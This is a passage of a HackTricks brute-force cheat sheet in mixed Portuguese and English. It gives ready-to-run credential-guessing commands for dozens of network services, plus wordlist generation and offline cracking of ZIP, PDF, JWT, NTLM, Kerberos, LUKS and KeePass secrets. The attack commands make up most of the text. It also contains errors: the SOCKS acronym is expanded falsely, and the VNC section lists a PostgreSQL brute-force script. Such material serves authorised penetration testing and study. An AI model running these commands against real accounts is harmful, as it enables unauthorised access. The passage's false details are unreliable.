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Brute Force - CheatSheet


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Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Credenciais Padrão

Pesquise no google por credenciais padrão da tecnologia que está sendo usada, ou experimente estes links:

Crie seus próprios Dicionários

Encontre o máximo de informações sobre o alvo que puder e gere um dicionário personalizado. Ferramentas que podem ajudar:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

cewl example.com -m 5 -w words.txt

CUPP

Gerar senhas com base no seu conhecimento sobre a vítima (nomes, datas...)

python3 cupp.py -h

Wister

Uma ferramenta geradora de listas de palavras, que permite fornecer um conjunto de palavras, dando-lhe a possibilidade de criar várias variações a partir das palavras fornecidas, criando uma lista de palavras única e ideal para usar em relação a um alvo específico.

python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.

pydictor

Listas de Palavras


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Serviços

Ordenados alfabeticamente pelo nome do serviço.

AFP

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

O protocolo AJP (Apache JServ Protocol) é um protocolo binário que permite a comunicação entre um servidor web e um servidor de aplicativos Java. Ele é comumente usado para melhorar o desempenho de aplicativos da web Java.

nmap --script ajp-brute -p 8009 <IP>

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]

Cassandra

Cassandra é um banco de dados distribuído altamente escalável que permite armazenar e gerenciar grandes quantidades de dados em vários servidores sem um único ponto de falha.

nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042

CouchDB

CouchDB é um banco de dados NoSQL que pode ser alvo de ataques de força bruta.

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Registro do Docker

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

Elasticsearch is a distributed, RESTful search and analytics engine capable of solving a growing number of use cases. It allows you to store, search, and analyze big volumes of data quickly and in near real time. Elasticsearch is generally used as the underlying engine/technology that powers applications that have complex search features and requirements.

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

FTP

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21

Brute Force Genérico HTTP

WFuzz

Autenticação Básica HTTP

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/

HTTP - NTLM

legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

HTTP - Post Form

Brute Force

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack passwords or encryption keys. Brute force attacks can be time-consuming but are effective if the key space is small.

Dictionary Attack

A dictionary attack is a type of brute force attack where a predefined list of passwords is used. This list can include commonly used passwords, dictionary words, or previously leaked passwords. Dictionary attacks are usually faster than traditional brute force attacks because they do not need to generate every possible combination.

Hybrid Attack

A hybrid attack combines elements of both brute force and dictionary attacks. It starts with dictionary words and then appends or prepends numbers, symbols, or other characters to them to create variations. Hybrid attacks are more sophisticated and can be effective against complex passwords.

Rainbow Table Attack

A rainbow table attack is a precomputed table for reversing cryptographic hash functions, usually for cracking password hashes. Instead of computing the hash values on the fly, rainbow tables allow attackers to look up precomputed hash values to find the corresponding plaintext passwords. Rainbow table attacks can be very fast and efficient.

Credential Stuffing

Credential stuffing is a type of brute force attack where attackers use automated tools to test large sets of username and password combinations obtained from previous data breaches. The goal is to find valid credentials that have been reused by individuals across multiple accounts or platforms. This technique relies on the fact that many users reuse passwords across different services.

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https

Para https você tem que mudar de "http-post-form" para "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP

IMAP

IMAP (Internet Message Access Protocol) is a protocol used to retrieve emails from a mail server. Brute-forcing IMAP credentials involves trying different username and password combinations until the correct one is found. This can be done using tools like Hydra or manually with scripts. It is important to note that brute-forcing is illegal and unethical unless you have explicit permission to do so as part of a security assessment.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993

IRC

Brute Force

Brute force attacks on IRC servers are typically carried out using automated scripts that attempt to guess usernames and passwords. These scripts can be used to gain unauthorized access to IRC channels and networks. To protect against brute force attacks on IRC servers, it is important to use strong and unique passwords, implement account lockout policies, and monitor server logs for any suspicious activity.

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

JSON Web Tokens (JWT) são um método compacto, autocontido e seguro para transmitir informações entre duas partes como um objeto JSON. Essas informações podem ser verificadas e confiáveis porque são assinadas digitalmente. Os JWTs podem ser assinados usando um segredo (com o algoritmo HMAC) ou um par de chaves pública/privada usando RSA ou ECDSA.

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match

MQTT

Brute Force

Brute force attacks against MQTT servers involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This is typically achieved using automated tools that can rapidly iterate through different combinations until the correct one is found.

Prevention

To prevent brute force attacks against MQTT servers, it is recommended to implement strong password policies, such as using complex and unique passwords for each user. Additionally, enabling account lockout mechanisms after a certain number of failed login attempts can help mitigate the risk of unauthorized access.

ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt

MSSQL

Brute Force

Brute force attacks against MSSQL servers can be performed using tools like Hydra or Ncrack. These tools allow you to systematically try all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts if too many failed attempts are made. It is recommended to use strong and complex passwords, as well as account lockout policies to prevent successful brute force attacks.

legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433

MySQL

Brute-force attacks against MySQL databases are typically carried out using tools such as Hydra or SQLMap. These tools allow attackers to systematically try a large number of username and password combinations until the correct one is found. It is important to use strong, complex passwords and implement other security measures to protect against brute-force attacks.

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306

OracleSQL

Brute Force

Brute force attacks are a common method used to gain unauthorized access to OracleSQL databases. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if the credentials are weak or easily guessable.

To protect against brute force attacks, it is essential to use strong, complex passwords and implement account lockout policies. Additionally, monitoring login attempts and setting up alerts for multiple failed login attempts can help detect and prevent unauthorized access to OracleSQL databases.

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

Para usar oracle_login com patator, você precisa instalar:

pip3 install cx_Oracle --upgrade

Força bruta de hash OracleSQL offline (versões 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, e 11.2.0.3):

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

POP (Post Office Protocol) é um protocolo de correio eletrônico utilizado para recuperar e-mails de um servidor de e-mail.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

PostgreSQL é um sistema de gerenciamento de banco de dados relacional de código aberto e altamente extensível. É conhecido por sua confiabilidade e conformidade com os padrões SQL.

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

PPTP

Você pode baixar o pacote .deb para instalar em https://http.kali.org/pool/main/t/thc-pptp-bruter/

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]

Redis

Redis is an open-source, in-memory data structure store that can be used as a database, cache, and message broker. It supports various data structures such as strings, hashes, lists, sets, and more. Redis is often targeted by attackers due to its popularity and the sensitive data it may store. It is important to secure Redis instances by setting strong passwords, enabling authentication, and restricting access to trusted networks. Regularly monitoring Redis logs for any suspicious activities is also recommended to detect and respond to potential security threats.

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]

Rexec

Rexec is a simple service that can be brute-forced. It runs on port 512 and is similar to the rlogin service. The rexec service allows users to execute commands on a remote system after authentication. Brute-forcing rexec involves trying different username and password combinations until the correct one is found.

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

Rlogin é um protocolo de rede que permite a um usuário fazer login em um sistema remoto. É vulnerável a ataques de força bruta devido à autenticação fraca. Os hackers podem usar ferramentas automatizadas para tentar várias combinações de senhas até encontrar a correta e obter acesso não autorizado ao sistema remoto. Para proteger contra ataques de força bruta, é recomendável usar senhas fortes e implementar medidas de segurança adicionais, como bloqueio de contas após várias tentativas de login malsucedidas.

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

O Rsh (Remote Shell) é um serviço que permite aos usuários executarem comandos em um computador remoto. É importante estar ciente de que o Rsh não é seguro, pois as informações são transmitidas em texto simples, o que pode ser interceptado por terceiros. Recomenda-se evitar o uso do Rsh e optar por protocolos mais seguros, como SSH.

hydra -L <Username_list> rsh://<Victim_IP> -v -V

http://pentestmonkey.net/tools/misc/rsh-grind

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

RTSP

hydra -l root -P passwords.txt <IP> rtsp

SFTP

legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

SNMP

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

SMB

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMTP

SMTP

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]

SOCKS

SOCKS stands for Socket Over Complete Kits. It is a protocol that routes network packets between a client and a server through a proxy server. SOCKS operates at the transport layer and is used to bypass firewall restrictions and securely access resources on a network.

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080

SQL Server

Brute Force

Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try different combinations until the correct one is found. It is important to use strong, complex passwords and implement account lockout policies to protect against brute force attacks.

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

SSH (Secure Shell) é um protocolo de rede criptografado usado para comunicação segura em uma rede não segura.

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

Chaves SSH fracas / Debian PRNG previsível

Alguns sistemas têm falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido que pode ser quebrado com ferramentas como snowdroppe/ssh-keybrute. Conjuntos de chaves fracas pré-geradas também estão disponíveis, como g0tmi1k/debian-ssh.

STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)

O protocolo de texto STOMP é um protocolo de mensagens amplamente utilizado que permite comunicação e interação perfeitas com serviços populares de filas de mensagens como RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Ele fornece uma abordagem padronizada e eficiente para trocar mensagens e realizar várias operações de mensagens.

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnet é um protocolo de rede que permite a comunicação bidirecional entre dispositivos. É comumente usado para acessar remotamente servidores, roteadores e outros dispositivos de rede para fins de gerenciamento.

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

Virtual Network Computing (VNC) é um sistema que permite controlar remotamente outro computador. O ataque de força bruta contra o VNC envolve tentar adivinhar as credenciais de login do VNC, como nome de usuário e senha, através da tentativa de várias combinações possíveis. Isso pode ser feito usando ferramentas automatizadas, como o Hydra, para testar uma lista de senhas comuns ou personalizadas contra o servidor VNC. É importante usar senhas fortes e medidas de segurança adicionais, como a autenticação de dois fatores, para proteger contra ataques de força bruta.

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt


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Local

Bancos de dados de quebra online

Verifique isso antes de tentar fazer força bruta em um Hash.

ZIP

#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip

zip2john file.zip > zip.john
john zip.john

#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

Ataque de força bruta de texto simples zip conhecido

Você precisa saber o texto simples (ou parte do texto simples) de um arquivo contido dentro do zip criptografado. Você pode verificar nomes de arquivos e tamanho de arquivos contidos dentro de um zip criptografado executando: 7z l encrypted.zip
Baixe o bkcrack na página de lançamentos.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

7z

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z

#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

Brute-force attacks are commonly used to crack passwords. They consist of systematically checking all possible passwords until the correct one is found. Brute-force attacks can be time-consuming but are often successful if the password is weak. There are tools available to automate the process and increase efficiency. It is important to use strong, complex passwords to protect against brute-force attacks.

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

Senha do Proprietário do PDF

Para quebrar a senha do proprietário de um PDF, verifique isso: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

Quebra de NTLM

Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

Keberoasting é uma técnica de ataque que visa extrair hashes de senhas de serviços que utilizam o protocolo Kerberos.

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Imagem Lucks

Método 1

Instalação: https://github.com/glv2/bruteforce-luks

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Método 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Outro tutorial de BF Luks: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

Chave privada PGP/GPG

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Cisco

Chave Mestra DPAPI

Use https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py e depois o john

Coluna Protegida por Senha no Open Office

Se você tiver um arquivo xlsx com uma coluna protegida por senha, você pode desprotegê-la:

  • Faça o upload para o Google Drive e a senha será removida automaticamente
  • Para removê-la manualmente:
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

Certificados PFX

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx


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Ferramentas

Exemplos de hash: https://openwall.info/wiki/john/sample-hashes

Identificador de Hash

hash-identifier
> <HASH>

Listas de Palavras

Ferramentas de Geração de Listas de Palavras

  • kwprocessor: Gerador avançado de sequências de teclado com caracteres base configuráveis, mapa de teclas e rotas.
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

Mutação de John

Leia /etc/john/john.conf e configure-o

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Ataques do Hashcat

  • Ataque de lista de palavras (-a 0) com regras

O Hashcat já vem com uma pasta contendo regras mas você pode encontrar outras regras interessantes aqui.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
  • Ataque de combinação de listas de palavras

É possível combinar 2 listas de palavras em 1 com o hashcat.
Se a lista 1 contiver a palavra "hello" e a segunda contiver 2 linhas com as palavras "world" e "earth". As palavras helloworld e helloearth serão geradas.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
  • Ataque de máscara (-a 3)
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
